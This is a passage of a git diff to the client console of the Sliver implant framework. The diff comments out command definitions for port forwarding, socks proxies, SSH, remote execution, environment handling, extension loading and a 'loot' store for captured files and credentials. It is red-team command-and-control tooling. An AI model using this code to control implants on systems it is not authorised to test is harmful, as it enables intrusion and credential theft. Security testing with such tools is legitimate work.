+ // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // listPivots(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("i", "id", "", "session id") + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // // [ WireGuard ] -------------------------------------------------------------- + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.WgConfigStr, + // Help: "Generate a new WireGuard client config", + // LongHelp: help.GetHelpFor([]string{consts.WgConfigStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("s", "save", "", "save configuration to file (.conf)") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // getWGClientConfig(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // }) + + // wgPortFwdCmd := &grumble.Command{ + // Name: consts.WgPortFwdStr, + // Help: "List ports forwarded by the WireGuard tun interface", + // LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // wgPortFwdListCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // } + // wgPortFwdCmd.AddCommand(&grumble.Command{ + // Name: "add", + // Help: "Add a port forward from the WireGuard tun interface to a host on the target network", + // LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // wgPortFwdAddCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Int("b", "bind", 1080, "port to listen on the WireGuard tun interface") + // f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)") + // }, + // }) + // wgPortFwdCmd.AddCommand(&grumble.Command{ + // Name: "rm", + // Help: "Remove a port forward from the WireGuard tun interface", + // LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}), + // Args: func(a *grumble.Args) { + // a.Int("id", "forwarder id") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // wgPortFwdRmCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // }) + // console.App.AddCommand(wgPortFwdCmd) + + // wgSocksCmd := &grumble.Command{ + // Name: consts.WgSocksStr, + // Help: "List socks servers listening on the WireGuard tun interface", + // LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // wgSocksListCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // } + + // wgSocksCmd.AddCommand(&grumble.Command{ + // Name: "start", + // Help: "Start a socks5 listener on the WireGuard tun interface", + // LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // wgSocksStartCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Int("b", "bind", 3090, "port to listen on the WireGuard tun interface") + // }, + // }) + + // wgSocksCmd.AddCommand(&grumble.Command{ + // Name: "rm", + // Help: "Stop a socks5 listener on the WireGuard tun interface", + // LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}), + // Args: func(a *grumble.Args) { + // a.Int("id", "forwarder id") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Print() + // wgSocksRmCmd(ctx, console.Rpc) + // fmt.Print() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // }) + // console.App.AddCommand(wgSocksCmd) + + // // [ Portfwd ] -------------------------------------------------------------- + // portfwdCmd := &grumble.Command{ + // Name: consts.PortfwdStr, + // Help: "In-band TCP port forwarding", + // LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // portfwd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // } + // portfwdCmd.AddCommand(&grumble.Command{ + // Name: "add", + // Help: "Create a new port forwarding tunnel", + // LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)") + // f.String("b", "bind", "127.0.0.1:8080", "bind port forward to interface") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // portfwdAdd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + // portfwdCmd.AddCommand(&grumble.Command{ + // Name: "rm", + // Help: "Remove a port forwarding tunnel", + // LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Int("i", "id", 0, "id of portfwd to remove") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // portfwdRm(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + // console.App.AddCommand(portfwdCmd) + + // // [ Monitor ] -------------------------------------------------------------- + // monitorCmd := &grumble.Command{ + // Name: consts.MonitorStr, + // Help: "Monitor threat intel platforms for Sliver implants", + // } + // monitorCmd.AddCommand(&grumble.Command{ + // Name: "start", + // Help: "Start the monitoring loops", + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // monitorStartCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // }) + // monitorCmd.AddCommand(&grumble.Command{ + // Name: "stop", + // Help: "Stop the monitoring loops", + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // monitorStopCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // }) + // console.App.AddCommand(monitorCmd) + + // // [ SSH ] -------------------------------------------------------------- + // console.App.AddCommand(&grumble.Command{ + // Name: consts.SSHStr, + // Help: "Run a SSH command on a remote host", + // LongHelp: help.GetHelpFor([]string{consts.SSHStr}), + // Args: func(a *grumble.Args) { + // a.String("hostname", "remote host to SSH to") + // a.StringList("command", "command line with arguments") + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Uint("p", "port", 22, "SSH port") + // f.String("i", "private-key", "", "path to private key file") + // f.String("P", "password", "", "SSH user password") + // f.String("l", "login", "", "username to use to connect") + // f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // runSSHCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // // [ Loot ] -------------------------------------------------------------- + // lootCmd := &grumble.Command{ + // Name: consts.LootStr, + // Help: "Manage the server's loot store", + // LongHelp: help.GetHelpFor([]string{consts.LootStr}), + // Flags: func(f *grumble.Flags) { + // f.String("f", "filter", "", "filter based on loot type") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // lootRoot(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // } + // lootCmd.AddCommand(&grumble.Command{ + // Name: consts.LootLocalStr, + // Help: "Add a local file to the server's loot store", + // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), + // Args: func(a *grumble.Args) { + // a.String("path", "The local file path to the loot") + // }, + // Flags: func(f *grumble.Flags) { + // f.String("n", "name", "", "name of this piece of loot") + // f.String("T", "type", "", "force a specific loot type (file/cred)") + // f.String("F", "file-type", "", "force a specific file type (binary/text)") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // lootAddLocal(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // lootCmd.AddCommand(&grumble.Command{ + // Name: consts.LootRemoteStr, + // Help: "Add a remote file from the current session to the server's loot store", + // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), + // Args: func(a *grumble.Args) { + // a.String("path", "The local file path to the loot") + // }, + // Flags: func(f *grumble.Flags) { + // f.String("n", "name", "", "name of this piece of loot") + // f.String("T", "type", "", "force a specific loot type (file/cred)") + // f.String("F", "file-type", "", "force a specific file type (binary/text)") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // lootAddRemote(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // lootCmd.AddCommand(&grumble.Command{ + // Name: consts.LootCredsStr, + // Help: "Add credentials to the server's loot store", + // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootCredsStr}), + // Flags: func(f *grumble.Flags) { + // f.String("n", "name", "", "name of this piece of loot") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // lootAddCredential(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // lootCmd.AddCommand(&grumble.Command{ + // Name: consts.RenameStr, + // Help: "Re-name a piece of existing loot", + // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // lootRename(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // lootCmd.AddCommand(&grumble.Command{ + // Name: consts.LootFetchStr, + // Help: "Fetch a piece of loot from the server's loot store", + // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}), + // Flags: func(f *grumble.Flags) { + // f.String("s", "save", "", "save loot to a local file") + // f.String("f", "filter", "", "filter based on loot type") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // lootFetch(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // lootCmd.AddCommand(&grumble.Command{ + // Name: consts.RmStr, + // Help: "Remove a piece of loot from the server's loot store", + // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), + // Flags: func(f *grumble.Flags) { + // f.String("f", "filter", "", "filter based on loot type") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // lootRm(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // console.App.AddCommand(lootCmd) +} diff --git a/client/command/env.go b/client/command/env.go index 50260e0cb0..947ea32363 100644 --- a/client/command/env.go +++ b/client/command/env.go @@ -1,111 +1,111 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) - -func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - - name := ctx.Args.String("name") - envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{ - Name: name, - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - for _, envVar := range envInfo.Variables { - fmt.Printf("%s=%s\n", envVar.Key, envVar.Value) - } -} - -func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - - name := ctx.Args.String("name") - value := ctx.Args.String("value") - if name == "" || value == "" { - fmt.Printf(Warn + "Usage: setenv KEY VALUE\n") - return - } - - envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{ - Variable: &commonpb.EnvVar{ - Key: name, - Value: value, - }, - Request: ActiveSession.Request(ctx), - }) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - if envInfo.Response != nil && envInfo.Response.Err != "" { - fmt.Printf(Warn+"Error: %s", envInfo.Response.Err) - return - } - fmt.Printf(Info+"set %s to %s\n", name, value) -} - -func unsetEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - - name := ctx.Args.String("name") - if name == "" { - fmt.Printf(Warn + "Usage: setenv NAME\n") - return - } - - unsetResp, err := rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{ - Name: name, - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if unsetResp.Response != nil && unsetResp.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", unsetResp.Response.Err) - return - } - fmt.Printf(Info+"Successfully unset %s\n", name) -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "fmt" + +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) + +// func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } + +// name := ctx.Args.String("name") +// envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{ +// Name: name, +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// for _, envVar := range envInfo.Variables { +// fmt.Printf("%s=%s\n", envVar.Key, envVar.Value) +// } +// } + +// func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } + +// name := ctx.Args.String("name") +// value := ctx.Args.String("value") +// if name == "" || value == "" { +// fmt.Printf(Warn + "Usage: setenv KEY VALUE\n") +// return +// } + +// envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{ +// Variable: &commonpb.EnvVar{ +// Key: name, +// Value: value, +// }, +// Request: ActiveSession.Request(ctx), +// }) +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// if envInfo.Response != nil && envInfo.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s", envInfo.Response.Err) +// return +// } +// fmt.Printf(Info+"set %s to %s\n", name, value) +// } + +// func unsetEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } + +// name := ctx.Args.String("name") +// if name == "" { +// fmt.Printf(Warn + "Usage: setenv NAME\n") +// return +// } + +// unsetResp, err := rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{ +// Name: name, +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if unsetResp.Response != nil && unsetResp.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", unsetResp.Response.Err) +// return +// } +// fmt.Printf(Info+"Successfully unset %s\n", name) +// } diff --git a/client/command/execute.go b/client/command/execute.go index 46e22ef1c9..39b31a1cbb 100644 --- a/client/command/execute.go +++ b/client/command/execute.go @@ -1,77 +1,77 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "fmt" - "strings" +// import ( +// "context" +// "fmt" +// "strings" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) -func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } +// func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } - cmdPath := ctx.Args.String("command") - args := ctx.Args.StringList("arguments") - output := ctx.Flags.Bool("silent") - token := ctx.Flags.Bool("token") - var exec *sliverpb.Execute - var err error - if token { - exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{ - Request: ActiveSession.Request(ctx), - Path: cmdPath, - Args: args, - Output: !output, - }) - } else { - exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{ - Request: ActiveSession.Request(ctx), - Path: cmdPath, - Args: args, - Output: !output, - }) - } +// cmdPath := ctx.Args.String("command") +// args := ctx.Args.StringList("arguments") +// output := ctx.Flags.Bool("silent") +// token := ctx.Flags.Bool("token") +// var exec *sliverpb.Execute +// var err error +// if token { +// exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{ +// Request: ActiveSession.Request(ctx), +// Path: cmdPath, +// Args: args, +// Output: !output, +// }) +// } else { +// exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{ +// Request: ActiveSession.Request(ctx), +// Path: cmdPath, +// Args: args, +// Output: !output, +// }) +// } - if err != nil { - fmt.Printf(Warn+"%s", err) - } else if !output { - if exec.Status != 0 { - fmt.Printf(Warn+"Exited with status %d!\n", exec.Status) - if exec.Result != "" { - fmt.Printf(Info+"Output:\n%s\n", exec.Result) - } - } else { - fmt.Printf(Info+"Output:\n%s\n", exec.Result) - if ctx.Flags.Bool("loot") && 0 < len(exec.Result) { - name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " ")) - err = AddLootFile(rpc, name, "console.txt", []byte(exec.Result), false) - if err != nil { - fmt.Printf(Warn+"Failed to save output as loot: %s\n", err) - } else { - fmt.Printf(clearln + Info + "Output saved as loot\n") - } - } - } - } -} +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// } else if !output { +// if exec.Status != 0 { +// fmt.Printf(Warn+"Exited with status %d!\n", exec.Status) +// if exec.Result != "" { +// fmt.Printf(Info+"Output:\n%s\n", exec.Result) +// } +// } else { +// fmt.Printf(Info+"Output:\n%s\n", exec.Result) +// if ctx.Flags.Bool("loot") && 0 < len(exec.Result) { +// name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " ")) +// err = AddLootFile(rpc, name, "console.txt", []byte(exec.Result), false) +// if err != nil { +// fmt.Printf(Warn+"Failed to save output as loot: %s\n", err) +// } else { +// fmt.Printf(clearln + Info + "Output saved as loot\n") +// } +// } +// } +// } +// } diff --git a/client/command/extensions.go b/client/command/extensions.go index 29092b4a1f..2afa10b4ff 100644 --- a/client/command/extensions.go +++ b/client/command/extensions.go @@ -1,336 +1,336 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "encoding/json" - "fmt" - "io/ioutil" - "os" - "path" - "path/filepath" - "strings" +// import ( +// "context" +// "encoding/json" +// "fmt" +// "io/ioutil" +// "os" +// "path" +// "path/filepath" +// "strings" - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/help" - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) +// consts "github.com/bishopfox/sliver/client/constants" +// "github.com/bishopfox/sliver/client/help" +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) -const ( - windowsDefaultHostProc = `c:\windows\system32\notepad.exe` - linuxDefaultHostProc = "/bin/bash" - macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment" -) +// const ( +// windowsDefaultHostProc = `c:\windows\system32\notepad.exe` +// linuxDefaultHostProc = "/bin/bash" +// macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment" +// ) -var commandMap map[string]extension -var defaultHostProc = map[string]string{ - "windows": windowsDefaultHostProc, - "linux": windowsDefaultHostProc, - "darwin": macosDefaultHostProc, -} +// var commandMap map[string]extension +// var defaultHostProc = map[string]string{ +// "windows": windowsDefaultHostProc, +// "linux": windowsDefaultHostProc, +// "darwin": macosDefaultHostProc, +// } -type binFiles struct { - Ext64Path string `json:"x64"` - Ext32Path string `json:"x86"` -} +// type binFiles struct { +// Ext64Path string `json:"x64"` +// Ext32Path string `json:"x86"` +// } -type extFile struct { - OS string `json:"os"` - Files binFiles `json:"files"` -} +// type extFile struct { +// OS string `json:"os"` +// Files binFiles `json:"files"` +// } -type extensionCommand struct { - Name string `json:"name"` - Entrypoint string `json:"entrypoint"` - Help string `json:"help"` - LongHelp string `json:"longHelp"` - AllowArgs bool `json:"allowArgs"` - DefaultArgs string `json:"defaultArgs"` - ExtensionFiles []extFile `json:"extFiles"` - IsReflective bool `json:"isReflective"` - IsAssembly bool `json:"IsAssembly"` -} +// type extensionCommand struct { +// Name string `json:"name"` +// Entrypoint string `json:"entrypoint"` +// Help string `json:"help"` +// LongHelp string `json:"longHelp"` +// AllowArgs bool `json:"allowArgs"` +// DefaultArgs string `json:"defaultArgs"` +// ExtensionFiles []extFile `json:"extFiles"` +// IsReflective bool `json:"isReflective"` +// IsAssembly bool `json:"IsAssembly"` +// } -func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) { - proc, ok := defaultHostProc[targetOS] - if !ok { - err = fmt.Errorf("no default process for %s target, please specify one", targetOS) - } - return -} +// func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) { +// proc, ok := defaultHostProc[targetOS] +// if !ok { +// err = fmt.Errorf("no default process for %s target, please specify one", targetOS) +// } +// return +// } -type extension struct { - Name string `json:"extensionName"` - Commands []extensionCommand `json:"extensionCommands"` - Path string -} +// type extension struct { +// Name string `json:"extensionName"` +// Commands []extensionCommand `json:"extensionCommands"` +// Path string +// } -func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) { - for _, c := range e.Commands { - if cmdName == c.Name { - for _, ef := range c.ExtensionFiles { - if targetOS == ef.OS { - switch targetArch { - case "x86": - filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path) - case "x64": - filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path) - default: - filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path) - } - } - } +// func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) { +// for _, c := range e.Commands { +// if cmdName == c.Name { +// for _, ef := range c.ExtensionFiles { +// if targetOS == ef.OS { +// switch targetArch { +// case "x86": +// filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path) +// case "x64": +// filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path) +// default: +// filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path) +// } +// } +// } - } - } - if filePath == "" { - err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch) - } - return -} +// } +// } +// if filePath == "" { +// err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch) +// } +// return +// } -func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) { - for _, x := range e.Commands { - if x.Name == name { - extCmd = &x - return - } - } - err = fmt.Errorf("no extension command found for name %s", name) - return -} +// func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) { +// for _, x := range e.Commands { +// if x.Name == name { +// extCmd = &x +// return +// } +// } +// err = fmt.Errorf("no extension command found for name %s", name) +// return +// } -func loadExtension(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// func loadExtension(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - dirPath := ctx.Args.String("dir-path") - if dirPath == "" { - fmt.Printf(Warn + "Please provide an extension path\n") - return - } +// dirPath := ctx.Args.String("dir-path") +// if dirPath == "" { +// fmt.Printf(Warn + "Please provide an extension path\n") +// return +// } - // retrieve extension manifest - manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json") - jsonBytes, err := ioutil.ReadFile(manifestPath) - if err != nil { - fmt.Printf(Warn+"%v", err) - } - // parse it - ext := &extension{} - err = json.Unmarshal(jsonBytes, ext) - if err != nil { - fmt.Printf(Warn+"error loading extension: %v", err) - return - } - ext.Path = dirPath - // for each extension command, add a new app command - for _, extCmd := range ext.Commands { - // do not add if the command already exists - if cmdExists(extCmd.Name, ctx.App) { - fmt.Printf(Warn+"%s command already exists\n", extCmd.Name) - return - } - fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help) +// // retrieve extension manifest +// manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json") +// jsonBytes, err := ioutil.ReadFile(manifestPath) +// if err != nil { +// fmt.Printf(Warn+"%v", err) +// } +// // parse it +// ext := &extension{} +// err = json.Unmarshal(jsonBytes, ext) +// if err != nil { +// fmt.Printf(Warn+"error loading extension: %v", err) +// return +// } +// ext.Path = dirPath +// // for each extension command, add a new app command +// for _, extCmd := range ext.Commands { +// // do not add if the command already exists +// if cmdExists(extCmd.Name, ctx.App) { +// fmt.Printf(Warn+"%s command already exists\n", extCmd.Name) +// return +// } +// fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help) - // Have to use a global map here, as passing the extCmd - // either by value or by ref fucks things up - commandMap[extCmd.Name] = *ext - helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help) - extArgs := func(a *grumble.Args) {} - if extCmd.AllowArgs { - extArgs = func(a *grumble.Args) { - a.StringList("arguments", "arguments", grumble.Default([]string{})) - } - } - ctx.App.AddCommand(&grumble.Command{ - Name: extCmd.Name, - Help: helpMsg, - LongHelp: help.FormatHelpTmpl(extCmd.LongHelp), - Args: extArgs, - Run: func(extCtx *grumble.Context) error { - fmt.Println() - runExtensionCommand(extCtx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - if extCmd.IsAssembly { - f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)") - f.String("c", "class", "", "Optional class name (required for .NET DLL)") - 